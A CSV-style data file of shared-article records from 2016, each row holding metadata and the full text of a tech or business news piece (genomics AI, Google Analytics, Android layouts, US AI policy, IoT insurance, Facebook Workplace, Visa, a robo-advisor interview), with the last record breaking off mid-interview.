1476360546,CONTENT SHARED,-3258959365023720872,-2820994773540913369,5310252093949906836,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://jornaldiadia.com.br/2016/?p=206500,Sophia Genetics chega à América Latina para democratizar a Data-Driven Medicine,"DASA, a maior empresa de diagnósticos do Brasil, selecionou a tecnologia da Sophia Genetics para fornecer melhores diagnósticos aos pacientes da América Latina. Presente em 30 países, a expansão da Sophia Genetics para a América Latina é um novo marco na democratização da Data-Driven Medicine. LAUSANNE, Suíça, 11 de outubro de 2016 - Sophia Genetics, líder global em Data-Driven Medicine, anunciou que entrou no mercado da América Latina a partir de uma parceria com os laboratórios DASA, que estão adotando a plataforma analítica Sophia DDM® para o diagnóstico de pacientes e seleção de tratamentos pelos médicos. SOPHiA, plataforma de inteligência artificial da Sophia Genetics, analisará perfis genômicos de pacientes produzidos nos laboratórios DASA para detectar variantes genéticas e ajudar a aconselhar sobre cuidados e precauções. DASA confiará à Sophia Genetics todos os testes genômicos de ""BRCA"", para câncer de mama e de ""CFTR"" para detecção de predisposição de fibrose cística. DASA é a maior empresa de diagnóstico médico na América Latina, quinta maior do mundo, com 321 filiais em todo o Brasil. Atende 55 mil pacientes diariamente e realiza mais de 10 milhões de exames por mês. Sua rede abrange mais de 500 unidades de serviço de coleta de amostras e 12 laboratórios em todo o Brasil onde análises para outros países do continente são realizadas. Segundo Eduardo Levi, consultor em Biologia Molecular da DASA, ""a parceria com a Sophia Genetics foi uma escolha natural, pois estávamos procurando reforçar as nossas soluções para diagnóstico molecular no continente. Além dos 180 membros da sua comunidade genômica clínica, sabíamos que era a melhor escolha para os nossos testes de ""BRCA"" e ""CFTR"". Estamos felizes que a América Latina possa se juntar à Data-Driven Medicine. O CEO e co-fundador da Sophia Genetics, Jurgi Camblong acrescentou: ""Vamos continuar expandindo a nossa presença em todo o mundo para que mais médicos possam usar as nossas soluções e mais pacientes se beneficiem delas"". Sobre a Sophia Genetics Líder global em Data-Driven Medicine. Reúne especialistas em genética, bioinformática, aprendizado por máquina e privacidade genômica. Com sede na Suíça, a empresa é conhecida por seus padrões médicos e precisão. Dispõe de profissionais que executam os testes genéticos clínicos: análise bioinformática, garantia de qualidade e privacidade e segurança dos dados genômicos. Os dados da empresa são anônimos. SOPHiA auxilia laboratórios a reduzir custos, superar complexidades e cumprir requisitos de qualidade relacionados à genômica clínica. Para mais informações, visite / @SophiaGenetics / @JurgiCamblong . FONTE Sophia Genetics",pt
1476361589,CONTENT SHARED,-4309525417316029305,-5639303336519418445,-8627248758512256679,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://analytics.googleblog.com/2016/10/improvements-coming-to-google-analytics.html,Improvements coming to the Google Analytics desktop UI,"Over the last ten years, Google Analytics has added many new features and reports. For the last few months, we've been working to build a simpler Google Analytics while still retaining the key functionality that people frequently use. The changes highlighted in this post are the first part in a series of improvements that you will see in the next few months. Below is a summary of the changes that all Google Analytics users will begin to see over the next few weeks. 1. Simplified navigation A brand-new navigation using Google's Material Design standards Removal of the ""Home Customization Reporting Admin"" subheader bar Admin is now pinned to the bottom of the navigation Resizeable left navigation to allow for more space in the canvas 2. Customization, all in one place Previously , reporting customization items were spread out: Dashboards & Shortcuts in the left-nav; Custom Tables, Custom Reports, etc. in the Customization tab; Custom Alerts in a tab in Intelligence Events Now , all customization elements are contained in a ""Customization"" left-nav element: 3. Simplified Google Analytics View switching The old ""Home"" account/property/view picker page has been replaced by the new picker in the header, which allows you to switch views from any page in the product Note that for Analytics 360 users, you may need to switch organizations to see the set of accounts you are trying to get to 4. A streamlined login flow Logging in now automatically takes you to the last Google Analytics View you were looking at the last time you logged in 5. An adjustable default date range You can now change the default date range that Google Analytics reports load with. This can be changed in your Google Analytics user settings Setting it to shorter times (like 7 days) has several benefits. For example, many campaign changes, website experiments, etc. will have impacts hidden in a 30-day view but immediately visible on a shorter timeline Defaults are now set to 7 days for all standard GA users 6. Goodbye to a couple of pages: Intelligence Events: In-Page Analytics : The In-Page Analytics report has been removed from Google Analytics web UI. You can still access in-page analytics with the official Chrome Extension All Google Analytics users will begin to see these changes in the next few weeks. We hope these changes improve your Google Analytics experience! Posted by Ajay Nainani, Product Manager, Google Analytics",en
1476364214,CONTENT SHARED,-7555896091148631419,3302556033962996625,-1275241623558045626,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://blog.stylingandroid.com/constraintlayout-part-1/,ConstraintLayout - Part 1,"At Google IO 2016 Google announced a new Android layout named ConstraintLayout . Despite the initial release being labelled as an Alpha release, it is actually pretty stable (with a few caveats). In this series of articles we'll take a look at this new layout-kid on the block and try and get some insights in how best to use it. Before we begin it is worth making some distinctions: ConstraintLayout is completely separate from the new layout editor. The new layout editor is not just designed to work with ConstraintLayout , it also works well with other layout types as well. Moreover the new layout editor is actually more than just a layout editor - it also allows the visual editing of menu resources as well as layouts so I'll actually refer to it as the visual editor rather than the layout editor. There have been previous attempts at providing visual layout editing which, whilst well intentioned, have been somewhat lacking in their implementation - they don't play nicely with custom View s, for example. It was these lessons learned from these previous attempts at visual layout editors that the new editor has been re-written from the ground up - and it shows - it is already much more capable of handling custom View s provided that you keep the constructors pretty clean and make full use of View#isInEditMode() to ensure that it doesn't try to do too much when it is being used inside a visual editor. So although ConstraintLayout is distinct from the editor, the two do go rather hand-in-hand and ConstraintLayout has been designed to be crafted through the visual editor rather than hand-crafted XML. I spoke to a couple of Googlers who'd been playing with ConstraintLayout and both stated that they wouldn't even consider hand-crafting XML simply because the visual editor was so good. Some initial concerns were voiced by developers about whether we'd actually be able to see the XML, but any concerns were short-lived as soon as you start playing with it because the visual editor supports the established pattern of bottom tabs which enable switching between Text (XML) and Design (visual editor) views. That said, the ConstraintLayout XML is quite voluminous and not the easiest to understand as a result. Having discussed ConstraintLayout with a number of Android developers at IO there was a general feeling that ConstraintLayout was overall a good thing, but some people were expressing concerns about whether ConstraintLayout would play nicely with CoordinatorLayout and if animating ConstraintLayout would be tricky. Both of these concerns are without foundation: The first thing worth noting about ConstraintLayout is that (although we don't yet have the sources for ConstraintLayout , you can see a decompilation if you expand classes.jar in the constraint-layout-1.0.0-alpha2 external library in Android Studio Project view) it extends ViewGroup . That is quite important because so do all of the more traditional layouts which play extremely well with CoordinatorLayout . Furthermore, if you actually create a new Basic Activity using the New Android Activity wizard ( Right click module|New...|Activity|Basic Activity ) then the wizard will automatically create your ConstraintLayout for the main content inside a CoordinatorLayout and you can assign behaviours to the ConstraintLayout exactly as you can with other layouts. So what about animating ConstraintLayout ? Once again it is simply a ViewGroup so it (and its children) can be animated in exactly the same way as any other ViewGroup . If this doesn't immediately answer the question for you, then let's step back to layouts 101 and recap on how layouts and View s actually work. A layout is simply a ViewGroup which is responsible for positioning its child View s. Before we can draw the layout and its children we first need to run a layout pass to calculate and set the positions and sizes of the child View s. Typically this will consist of an initial measurement pass to determine the intrinsic sizes of the child View s, and then calculate the position and size of each child before setting the mLeft , mTop , mRight , and mBottom values for each child relative to the parent. Once the layout pass has been completed then each of the child View s has its bounds set internally, so when we come to draw the layout, simply calling onDraw() on each child will result in it being drawn at the correct position and size. When we come to animating things, we don't want to make changes to the layout itself because running a layout pass for each frame of the animation would be too expensive and kill our frame-rates. Instead we perform the layout pass before setting up the animation, and simply animate the positions of individual child View s by changing their translationX , translationY , and translationZ attributes (calling setX() on a View will actually change its translationX value and not its mLeft value, for example). So it doesn't actually matter which parent layout a particular View has, when we come to animate it all that matters is that the parent layout has calculated its mLeft , mTop , mRight , and mBottom values already. So now if we consider CoordinatorLayout again, it should be even clearer that any animations which run as a result of CoordinatorLayout behaviour implementations are completely agnostic of whether we use ConstraintLayout compared to any other layout. Hopefully it should now be clear that ConstraintLayout will behave no differently to other layouts when it comes to performing animations - it simply runs in advance of any animations being set up, and when setting up the animations the actual parent layout that was responsible for positioning and sizing a specific child View is completely irrelevant. So with some myths and concerns dispelled, in the next article we'll begin looking in to ConstraintLayout and see how it works. © 2016, Mark Allison . All rights reserved. ConstraintLayout - Part 1 by Styling Android is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License . Permissions beyond the scope of this license may be available at .",en
1476367691,CONTENT SHARED,-9089854794058353436,-4627026983118548639,-1665493486453831407,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",IL,US,HTML,https://techcrunch.com/2016/10/12/white-house-reports-on-ai-no-skynet/,Here's how The White House wants the U.S. to approach AI R&D,"Since 1956, when computer science researchers gathered in the small town of Hanover, N.H. at Dartmouth College to talk about the field's nascent investigations into artificial intelligence, both government and industry in the U.S. have grappled with how to structure a systematic approach to research and development in the newly important field. From the government's perspective, this is increasingly important. With both federal research institutions and private companies pursuing artificial intelligence breakthroughs at breakneck speed, the federal government is frankly having a bit of an existential crisis about its role in research efforts and the priorities it has for what AI research should look like. To wit, in 2015 government spending on unclassified research and development in AI-related technologies was around $1.1 billion, according to one of the twin reports released today. But in the last five years alone, mergers and acquisitions among private companies vying for dominance in the AI market have far outstripped that figure, according to data from CB Insights. Google's acquistion of DeepMind was reportedly $600 million, and that's one of over one hundred acquisitions made by companies like Facebook, Google, Apple, and Twitter since 2011. So The White House has released a new pair of reports , offering a framework for how government-backed research into artificial intelligence should be approached and what those research initiatives should look like (basically, the government wants to avoid a Skynet scenario). The main paper, entitled "" Preparing for the Future of Artificial Intelligence ,"" focuses on the general state of and challenges faced by AI, and both of those things have a constant presence on our front page. Justice for AI Google, for instance, addressed the possibility of bias tainting the results of AI systems, which know not what they do. This is merely irritating when it's an image recognition error, but what if it's for ""predictive policing""? AI needs good data. If the data is incomplete or biased, AI can exacerbate problems of bias. It is important that anyone using AI in the criminal justice context is aware of the limitations of current data. The use of AI to make consequential decisions about people, often replacing decisions made by human actors and institutions, leads to concerns about how to ensure justice, fairness, and accountability. Transparency concerns focused not only on the data and algorithms used, but also on the potential to have some form of explanation for any AI-based determination... Ethical training should be augmented with technical tools and methods for putting good intentions into practice by doing the technical work needed to prevent unacceptable outcomes. Google's solution , at least for now, is what they call the ""equality of opportunity"" method, which ensures a system doesn't accidentally discriminate based on sensitive, non-relevant data, for instance race or religion, when calculating something not directly related to them. As for understanding the models created by machine learning - that's a bigger problem. Share and share a lot As AI and AI-like systems proliferate, they begin to overlap with highly regulated areas, as we've seen with autonomous vehicles and drones. This creates a sort of wild west compared with the traditional sides of those industries, and things like reporting and risk management aren't anywhere near formalized. How detailed should Google's self-driving car accident reports be? Can NTSB officials inspect Autopilot code? Where do federal and state authority interface? To make informed decisions, the White House suggests more and better data is required: Commercial aviation has mechanisms for sharing incident and safety data across the industry. No comparable system currently exists for the automotive industry... The lack of consistently reported incident or near-miss data increases the number of miles or hours of operation necessary to establish system safety, presenting an obstacle to certain AI approaches that require extensive testing for validation. Federal actors should focus in the near-term on developing increasingly rich sets of data, consistent with consumer privacy, that can better inform policy-making as these technologies mature. Furthermore, as AI systems infiltrate our infrastructure, the cowboys of private AI research should look to old school civil engineers for help, as little as they might like the idea: Adapting gracefully to unforeseen situations is difficult yet necessary for safe operation. Experience in building other types of safety-critical systems and infrastructure, such as aircraft, power plants, bridges, and vehicles, has much to teach AI practitioners about verification and validation, how to build a safety case for a technology, how to manage risk, and how to communicate with stakeholders about risk. AI ABCs You've got to get them while they're young, according to the White House. And we agree, of course: STEM education should start early - with an emphasis on the T, in this case. An AI-enabled world demands a data-literate citizenry that is able to read, use, interpret, and communicate about data, and participate in policy debates about matters affected by AI. Data science education as early as primary or secondary school can help to improve nationwide data literacy, while also preparing students for more advanced data science concepts and coursework after high school. Of course, a data-literate citizenry implies a literate citizenry, and the ethics of all this stuff won't be learned in CS class, so we can't neglect the humanities, either. The report also calls for pushes for diversity, highlighting comments solicited from experts regarding ""the importance of AI being produced by and for diverse populations."" Doing so helps to avoid the negative consequences of narrowly focused AI development, including the risk of biases in developing algorithms, by taking advantage of a broader spectrum of experience, backgrounds, and opinions. From goals to guidelines The goal with both papers is to establish what an effective approach to artificial intelligence looks like from a government perspective. There's an understanding that corporate interests will pursue corporate interests, but a range of issues exist in the development of artificial intelligence technologies that businesses are not necessarily equipped to deal with. And they don't have any incentives to try and grapple with some of these issues anyway. The report on the government's strategic investment plan states: The Federal government is the primary source of funding for longterm, high-risk research initiatives, as well as near-term developmental work to achieve department- or agency-specific requirements or to address important societal issues that private industry does not pursue. The Federal government should therefore emphasize AI investments in areas of strong societal importance that are not aimed at consumer markets-areas such as AI for public health, urban systems and smart communities, social welfare, criminal justice, environmental sustainability, and national security, as well as long-term research that accelerates the production of AI knowledge and technologies. Alongside this emphasis on artificial intelligence for the public good, is an acknowledgement that these innovations could lead to job insecurity as the robots take over. That's why one of the main thrusts of the government's research is in how to make artificial intelligence work with humans rather than exclusively work for humans, or work instead of humans. The meat of the government's strategy, outlined in the bullet points below, deals with the human cost of artificial intelligence. Strategy 1: Make long-term investments in AI research. Prioritize investments in the next generation of AI that will drive discovery and insight and enable the United States to remain a world leader in AI R&D. Strategy 2: Develop effective methods for human-AI collaboration. Rather than replace humans, most AI systems will collaborate with humans to achieve joint optimal system performance and benefit. Research is needed to create effective interactions between humans and AI systems. Strategy 3: Understand and address the ethical, legal, and societal implications of AI. We expect AI technologies to behave according to the formal and informal norms to which we hold our fellow humans. Research is needed to understand the ethical, legal, and social implications of AI, and to develop methods for designing AI systems that align with ethical, legal, and societal goals. Strategy 4: Ensure the safety and security of AI systems. Before AI systems are in widespread use, assurance is needed that the systems will operate safely and securely, in a controlled, well-defined, and well-understood manner. Further progress in research is needed to address this challenge of creating AI systems that are reliable, dependable, and trustworthy. Strategy 5: Develop shared public datasets and environments for AI training and testing. The depth, quality, and accuracy of training datasets and resources significantly affect AI performance. Researchers need to develop high quality datasets and environments and enable responsible access to high-quality datasets as well as to testing and training resources. Strategy 6: Measure and evaluate AI technologies through standards and benchmarks. Essential to advancements in AI are standards, benchmarks, testbeds, and community engagement that guide and evaluate progress in AI. Additional research is needed to develop a broad spectrum of evaluative techniques. Strategy 7: Better understand the national AI R&D workforce needs. Advances in AI will require a strong community of AI researchers. An improved understanding of current and future R&D workforce demands in AI is needed to help ensure that sufficient AI experts are available to address the strategic R&D areas outlined in this plan. It's also worth mentioning that these reports aren't the last word (or even the first word) on the U.S. approach to artificial intelligence. There are at least seven other (probably very long) research and development strategic plans that deal with aspects of the government's approach to AI research. That's a good thing, too because, as the White House report acknowledges, we're no longer necessarily the leader in the field. Research from China has outstripped the U.S. (at least in terms of papers published on the subject). Now's the time for a more invigorated policy, which perhaps these papers will help charge. Featured Image: Kheng Guan Toh / Shutterstock",en
1476369007,CONTENT SHARED,-5829979886567267504,-6067316262393890508,4916296949712566296,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.businessinsider.com/internet-of-things-insurance-home-life-auto-trends-2016-10,"IoT Insurance: Trends in Home, Life & Auto Insurance Industries","BII The insurance industry in the U.S. has been undergoing some changes recently thanks to the Affordable Care Act and other legislation. And yet, the industry is still gargantuan. In 2015, the insurance industry's net premiums written totaled $1.2 trillion, and there were 5,926 insurance companies in the U.S., according to the Insurance Information Institute. But the changes are just beginning, as the Internet of Things (IoT) is set to transform the insurance industry in new and exciting ways. Future insurance will look much different thanks to Internet of Things, which will touch home insurance, life insurance, auto insurance, and health insurance. There are already some auto insurance industry trends at play that demonstrate this change, and broader trends in the insurance industry are also making their presences felt. Below, we've outlined how the IoT will affect each of these insurance sectors and highlighted some technology insurance companies that are at the forefront of these changes. IoT in Home Insurance Home insurance is a necessary means of protection from weather damage or other accidents. If a tree falls in your living room, a proper insurance plan can save money and prevent headaches. But the IoT can make the whole process even easier, and IBM notes that proactive management through IoT devices is a major part of that process. Imagine smart sensors are constantly compiling data in your home regarding water usage, temperature, energy consumption, and more. These sensors alert you that there is a water leak in your home before the leak does any major damage. This would cause claim avoidance for the insurer and disruption avoidance for the customer. Home insurance executives also often provide discounts to their clients for using their smart home devices for this exact reason. A home with an alarm system, for example, is 300% less likely to be robbed than a home without one, according to Safeguardtheworld. And a home with a connected smoke detector that automatically alerts the fire department could save insurance companies up to $35,000, the average claim amount for fire damage, according to BI Intelligence, Business Insider's premium research service. IoT in Life Insurance The IoT is helping insurers to accurately price premiums because the vast amount of data IoT devices generate allow companies to create superior risk assessments, create better models for future insurance payouts, and draw in new customers through a wider portfolio of insurance offerings. For life insurance companies, this typically involves gathering data from wearable devices, such as FitBit and Nike+ FuelBand, to more accurately assess the health of the client. From here, the company can adjust the pricing of its life insurance policies as necessary. BII IoT in Auto Insurance Many auto insurance companies are starting to use the IoT, largely through connected cars, to track drivers' habits in real time. This practice has become known as usage-based insurance (UBI) and has surged in popularity in the last two years. According to a 2015 Nielsen survey, 20% of U.S. households took part in a UBI plan, up from 13% in 2014. BI Intelligence expects 35% of insured U.S. drivers to test one of these policies in 2021. By offering this service, auto insurance companies can more accurately price their premiums and provide more savings for their customers. But it doesn't stop there, as 74% of insurance executives believe the IoT will disrupt the industry by 2020, and 74% plan to invest in developing and implementing IoT strategies by the end of this year, according to an SMA Research survey. And this is a wise strategy, as IoT car safety technology has shown to significantly reduce crashes. BI Intelligence expects U.S. insurance companies will save $45 billion in the next five years as a result. IoT in Health Insurance Similar to life insurance companies, health insurance companies are largely using wearable devices to keep track of their clients' health. Several companies have started programs that reward their employees for healthy lifestyles (burning calories, sleeping well, etc.), and wearables are a major part of keeping track of this data, Vik Renjen, SVP of Sutherland Global Services, told Forbes. But that's just one application. Renjen notes that additional GPS data could allow wearables to track and send data on compliance to a rehab standards for a disability claimant. Better compliance would lead to a quicker rehab process and get people back to work faster, which would save money for the plan sponsor, carrier, and customer. Future applications could include blood analysis that could predict heart attacks and send proactive alerts, along with proactive interventions for substance abusers. Companies Leading the Way Progressive: Progressive's UBI policy, Snapshot, is one of the most successful in today's auto insurance industry. The company has stated that Snapshot has helped boost customer retention thanks to the wider range of discounts it lets Progressive offer its clients. John Hancock: The company offers a 15% maximum discount on life insurance for customers who permit their Apple Watch apps to monitor their activities. Clients can also accumulate discounts by submitting prevention screenings or using a fitness center. State Farm: State Farm provides clients with discounts for installing an ADT Pulse security system and a Canary all-in-one smart home security device. The discount affects the price of the products themselves, as well as the home insurance policy. And Much More... The IoT will truly start to get its hooks into the insurance industry in the next several years and change it from the inside out. But this is far from the only sector that the Internet of Things will profoundly alter in the coming years. That's why BI Intelligence has spent months compiling the greatest and most thorough catalog on the IoT: The Internet of Things: Examining How The IoT Will Affect The World . To get your copy of this invaluable guide to the IoT universe, choose one of these options: Subscribe to an ALL-ACCESS Membership with BI Intelligence and gain immediate access to this report AND over 100 other expertly researched deep-dive reports, subscriptions to all of our daily newsletters, and much more. >> START A MEMBERSHIP Purchase the report and download it immediately from our research store. >> BUY THE REPORT The choice is yours. But however you decide to acquire this report, you've given yourself a powerful advantage in your understanding of the fast-moving world of the IoT.la What is the Internet of Things? Definition, Industries and Companies IoT Ecosystem - Forecasts and Business Opportunities IoT Market Size, Share & Growth Forecasts IoT Trends, Growth & Predictions IoT Devices, Applications & Examples Top IoT Companies to Watch & Invest In IoT Wearable Devices & Technology How IoT Will Affect Security IoT Reports",en
1476441538,CONTENT SHARED,-3387298624573211014,3217014177234377440,3905426769595506891,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,http://www.techtudo.com.br/noticias/noticia/2016/10/facebook-lanca-workplace-versao-da-rede-social-para-empresas.html,"Facebook lança Workplace, versão da rede social para empresas","O lançou a sua rede social exclusiva para empresas. A plataforma, anteriormente chamada de Facebook at Work, recebeu nome de . A novidade, anunciada na segunda-feira (10), traz uma interface bastante semelhante a do Facebook, mas não tem publicidade e funciona com a possibilidade de integração com sistemas de TI (Tecnologia da Informação) das empresas. Facebook cria avatar 'com vida' e simula encontros reais em realidade virtual A ideia é que o Workplace traga a interação do Facebook para o ambiente de trabalho. A proposta é que, com ele, a comunicação entre os companheiros de trabalho seja aprimorada. Além disso, novos recursos como dashboards e métricas para análises internas das empresas. Workplace traz layout e recursos semelhantes ao Facebook (Foto: Divulgação/Facebook) A rede corporativa está em desenvolvimento a pelo menos dois anos. Os testes começaram em 2015 e de acordo com o Facebook atraiu mais de mil empresas do mundo inteiro, entre elas organizações sem fins lucrativos como a ONG Save the Children. A ideia é ser uma plataforma onde os colaboradores possam interagir com mais facilidade, tornando uma solução mais rápida do que o e-mail e um concorrente para o Slack e o Yammer , da Microsoft. Como descobrir quem te visitou no Facebook? Descubra no fórum TechTudo. O Workplace mantém as principais funções do Facebook, como a possibilidade de criar grupos, vídeos ao vivo e chats. Além disso, o esquema de feed de notícias também permanece na rede corporativa, assim como os trending topics. A nova rede também conta com tradução automática e a possibilidade de reações, tal qual o Facebook Reactions . Um novo recurso interessante é o Multi-Company Groups, que oferece a possibilidade de criar grupos compartilhados entre corporações. Com ele, empresas diferentes que estiverem trabalhando em conjunto poderão ter um espaço online para que funcionários troquem ideias para agilizar as tarefas. O recurso vai estar disponível nas próximas semanas. Workplace também está disponível para Android e iOS (Foto: Divulgação/Facebook) Além da ausência de publicidade, o Workplace promete não colher os dados dos usuários. Ele também vai funcionar de forma totalmente independente do Facebook, onde o que for compartilhando em um não será mostrado em outro. Outras formas de distração como o Candy Crush, também são bloqueadas na nova rede social . Em contrapartida o Workplace não é gratuito. A rede cobra das empresas que quiserem utilizar a plataforma. O preço varia de acordo com a quantidade de funcionários: US$ 3 (R$ 9,62 na cotação atual) por cada usuário para empresas com até mil colaboradores; US$ 2 (R$ 6,42) para empresas até 10 mil funcionários; e US$ 1 (R$ 3,21) para organizações com mais de 10 mil empregados. Vale destacar que a rede cobra apenas pelos usuários ativos. O Workplace é multiplataforma, podendo ser utilizado tanto no smartphone (iOS e Android) quanto no computador. A rede oferece três meses gratuito de teste.",pt
1476444319,CONTENT SHARED,-4487024160266973763,7308881151087125462,2824438335258380441,Android - Native Mobile App,SP,BR,HTML,https://www.linkedin.com/pulse/visa-inaugura-co-creation-center-em-s%C3%A3o-paulo-erico-fileno,Visa inaugura Co-Creation Center em São Paulo,"Espaço será referência e protagonista na condução da revolução das novas tecnologias de pagamento no Brasil O Visa Brasil Co-Creation Center abre suas portas em São Paulo, como parte do plano global de inovação da Visa. A iniciativa tem como proposta trabalhar em conjunto com importantes players do mercado brasileiro para cocriar o futuro das soluções de pagamento, aproximar-se dos clientes e expor os ativos da Visa. O espaço atenderá aos emissores de cartão, credenciadoras, comércios, fintechs e startups e será um local de trabalho colaborativo, prático e dinâmico. O Centro expande o sucesso do Miami Innovation Center, instalação inaugurada em junho de 2016 e que funciona como um hub para a região da América Latina. O Visa Brasil Co-Creation Center será o primeiro ponto de contato da Visa com desenvolvedores e parceiros brasileiros. "" Estamos criando uma rede. Esse espaço representa uma continuação do esforço e jornada da Visa, e permitirá que nossos clientes locais participem de um grupo global de inovação para cocriar a próxima geração de aplicativos de pagamento e do comércio "", diz Eduardo Coello, Presidente da Visa Inc. para a América Latina e Caribe . A Visa está revolucionando a indústria global de meios eletrônicos de pagamento e esse espaço no Brasil vem para solidificar e fortalecer a liderança da empresa na região. "" Estamos no meio de uma grande mudança de paradigmas. Com a migração do cartão de plástico para a internet das coisas, o desenvolvimento dos pagamentos móveis, e a entrada de novas empresas no tradicional grupo de players do setor de pagamentos, a Visa assume o compromisso de protagonizar e potencializar essa revolução e de garantir que todas essas novidades sejam eficazes e seguras "", afirma Percival Jatobá, Vice-presidente de produtos da Visa do Brasil . No Brasil, esse espaço inovador está totalmente atrelado à abordagem de design thinking - conjunto de métodos e processos que busca solucionar desafios de forma colaborativa e mais humana, na qual todos os envolvidos são colocados no centro de desenvolvimento do produto. Os parceiros terão acesso a APIs (interfaces de programação de aplicativos) e SDKs (kits de desenvolvimento de software) da Visa por meio do Visa Developer Program - que transforma a maior rede de pagamento do mundo em uma plataforma aberta para desenvolvedores de softwares e aplicativos. O país foi escolhido para sediar um Co-Creation Center por seu potencial de crescimento e ambiente diverso e pujante de startups, e também porque os brasileiros são conhecidos como early adopters de tecnologias. Nos últimos meses, a Visa lançou algumas tecnologias pioneiras, como a tokenização e os vestíveis ( wearables) - o relógio Swatch Bellamy, a pulseira Bradesco Visa e o anel de pagamento Visa, além do cartão Riocard Duo, que traz dupla funcionalidade, para transporte e pré-pago. Para Percival, o Visa Brasil Co-Creation Center é um marco dentro da empresa por simbolizar o início de uma nova era. "" Temos convicção de que, ao aliar a criatividade dos empreendedores e desenvolvedores brasileiros com a expertise e a inovação gerados pela Visa, grandes negócios e novas parcerias surgirão no País. Vamos elevar o nível do setor de pagamentos no Brasil "", diz o executivo. Foco no Consumidor Fernando Teles , anunciado recentemente como o novo diretor geral da Visa do Brasil , acredita que o Co-Creation Center acelerará a criação de novas experiências comerciais, além de apoiar os consumidores que, cada vez mais, fazem uso de dispositivos conectados para comprar, pagar e receber pagamentos. "" Nosso Centro tem a missão clara de inspirar nossos clientes e parceiros com uma combinação de novas tecnologias que vão ao encontro das necessidades presentes e futuras do consumidor. Como líder em tecnologia de pagamentos, é imperativo que habilitemos nossos clientes a atender a demanda dos consumidores, e os ajudemos a acompanhar a velocidade da inovação no comércio digital "", diz o executivo.",pt
1476455076,CONTENT SHARED,-3130182799308303924,5660542693104786364,-5539495197598810154,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.infomoney.com.br/onde-investir/acoes/noticia/5641450/lancara-robo-que-seleciona-melhores-investimentos-para-clientes-diz-ceo,"XP lançará robô que seleciona melhores investimentos para clientes, diz CEO","(SÃO PAULO) - A XP, uma das maiores empresas de investimentos do Brasil, está prestes a lançar seu ""robo advisor"", ou seja, uma tecnologia que permitirá ao cliente obter de forma automatizada uma sugestão de carteira adequada a seu perfil de risco e suas necessidades de liquidez. Em entrevista ao InfoMoney, o CEO e fundador da XP, Guilherme Benchimol, afirma que o produto está sendo desenvolvido em parceria com uma empresa americana com larga experiência em robôs e que os clientes devem ter acesso a essa solução daqui a 60 dias. A grande vantagem do robô é que mesmo clientes que ainda estão começando a formar patrimônio já terão acesso a uma carteira personalizada. ""A ideia é permitir que o produto seja acessível para clientes com pelo menos R$ 10.000"", diz. Leia a seguir os principais trechos da entrevista: InfoMoney - O ""robo advisor"" tem crescido no mundo todo como uma solução para oferecer investimentos adequados ao perfil de cada cliente de forma escalável. A XP planeja ter seu robô? Guilherme Benchimol - Nossa proposta de plataforma aberta e independente não poderia deixar de ter um ""robo advisor"". É um produto que ainda não tem relevância no mundo quando comparamos com a indústria convencional de investimentos, mas a perspectiva é que nos próximos anos esse quadro possa se alterar. O trabalho de escolha de ativos, atualmente feita de forma artesanal, poderá se transformar, cada vez mais, em um processo robotizado, principalmente se acreditarmos no aumento da liquidez dos mercados. InfoMoney - A XP hoje tem como foco atender clientes com patrimônio de R$ 50.000 ou mais. Com os robôs seria possível atender muito bem mesmo os clientes com menos dinheiro dados os ganhos de escala permitidos pelo atendimento automatizado? O robô poderia ajudar a promover a democratização dos bons investimentos? Benchimol - Sim. A ideia é permitir que o produto seja acessível para clientes com pelo menos R$ 10.000. InfoMoney - Qual o cronograma para o lançamento da solução? Benchimol - Estamos desenvolvendo o robô em parceria com uma empresa americana bem experiente no assunto. Queremos lançar o produto nos próximos 60 dias. Na prática ajudaremos o cliente a determinar seu perfil, prazo de aplicação e objetivo dos investimentos. Para isso o investidor só precisará responder àquele questionário de ""suitability"" que revela quais serão os produtos mais adequados para ele. Em seguida, o robô fará suas sugestões de alocação e depois fará ajustes no tempo, tudo de forma automática. InfoMoney - Como vai funcionar a realocação? De quanto em quanto tempo o robô vai rever as recomendações? Se houver uma súbita mudança de cenário econômico, o robô poderá fazer uma rápida realocação? Se o dinheiro voltar para a conta porque um investimento venceu, imediatamente o robô vai sugerir a realocação ao cliente? Benchimol - A realocação poderá ser feita a qualquer momento em razão dos cenários ou alteração dos preços dos ativos. Além disso, o dinheiro alocado via robô ficará exclusivamente separado em uma conta ""carteira administrada"", distinguindo-o dos demais investimentos realizados dentro da XP. InfoMoney - Para o cliente, quanto custará contratar esse robô? Benchimol - O produto custará em média 0,5% ao ano e o cliente pagará esse custo em forma de administração de carteira. Esses custos são os mesmos cobrados dos grandes clientes na administração de carteira, ou seja, são valores extremamente competitivos. InfoMoney - O robô que está sendo desenvolvido pela XP fará também indicações de ações para comprar na Bolsa? Ou ele vai se ater a fundos, produtos de renda fixa, previdência e ETFs [fundos de ações negociados em Bolsa]? Benchimol - O robô trabalhará com todos os ativos. A grande vantagem de o robô estar acoplado na XP é que ele poderá acessar os principais produtos do mercado e, portanto, montar a carteira mais diversificada possível, obtendo a melhor relação risco/retorno. InfoMoney - Existirão outros robôs disponíveis na plataforma da XP além desse que está sendo desenvolvido? Benchimol - Sim. Estamos abrindo nossas APIs [interface de programação de aplicativos], possibilitando que outras fintechs, incluindo empresas de ""robo advisor"", possam se plugar em nossas estruturas e também oferecer suas soluções para os clientes da XP. O plano é funcionar parecido com o nosso shopping de fundos, ou seja, mostrar todas as opções para os clientes, e eles escolherem o produto com as características mais adequadas ao seu perfil. InfoMoney - Já existem empresas externas interessadas nesse modelo? Benchimol 